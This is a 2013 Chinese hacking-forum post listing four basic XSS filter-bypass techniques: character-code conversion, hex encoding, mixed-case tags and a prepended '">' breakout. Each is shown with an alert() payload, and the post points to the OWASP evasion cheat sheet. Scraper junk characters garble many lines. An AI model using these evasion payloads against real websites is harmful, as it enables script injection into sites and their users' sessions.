找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1816|回复: 0
打印 上一主题 下一主题

XSS 绕过技术

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-14 00:10:39 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
四种超级基础的绕过方法。0 }* |. M! n# v; t
1.转换为ASCII码0 V* f) I& j9 L; O8 [; J* A
例子:原脚本为<script>alert(‘I love F4ck’)</script >/ u1 k. W* k8 q+ r$ [& q
通过转换,变成:7 h: p7 P/ \- p
<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 8216, 73, 32, 108, 111, 118, 101, 32, 70, 52, 99, 107, 8217, 41) </script>: `9 l# C8 U8 u7 G
- |3 G0 v# ^4 P/ i5 t
2.转换为HEX(十六进制)5 @) V7 |8 \  x' p  K4 l( Y& M
例子:原脚本为<script>alert(‘I love F4ck’)</script>
8 \( j2 y. i; f' w( W: _; U通过转换,变成:
0 ~$ i: g, d, z. |6 `7 y7 k% ~%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%2018%49%20%6c%6f%76%65%20%46%34%63%6b%2019%29%3c%2f%73%63%72%69%70%74%3e7 ~- _# l+ Y7 ^3 I  I) ], u0 Z
" t9 l7 N* K+ Q  e# n7 ~# ]
3.转换脚本的大小写
/ n& a; H+ O! B" c. s. e2 ~例子:原脚本为<script>alert(‘I love F4ck’)</script>
% |+ s: x+ q; S5 r! s) A转换为:<ScRipt>AleRt(‘I love F4ck’)</sCRipT>
! K7 n; X9 K8 B- H
; }" f' A9 q7 @: b7 q4.增加闭合标记”>
3 F/ a( E6 G! `: M/ w例子:原脚本为<script>alert(‘I love F4ck’)</script>
4 Q. t% i0 i8 x" P3 {- t0 m转换为:”><script>alert(‘I love F4ck’)</script>
# \5 W) V( s2 z; M" [& o6 g9 r更详细绕过技术请参考此网页! Q: P4 T! t( Y5 A
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet2 t2 b# N* A7 Z, z: ~0 D0 m
* r) q: H+ ^2 Z6 {  J
转换工具使用的是火狐的 hackbar mozilla addon.
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表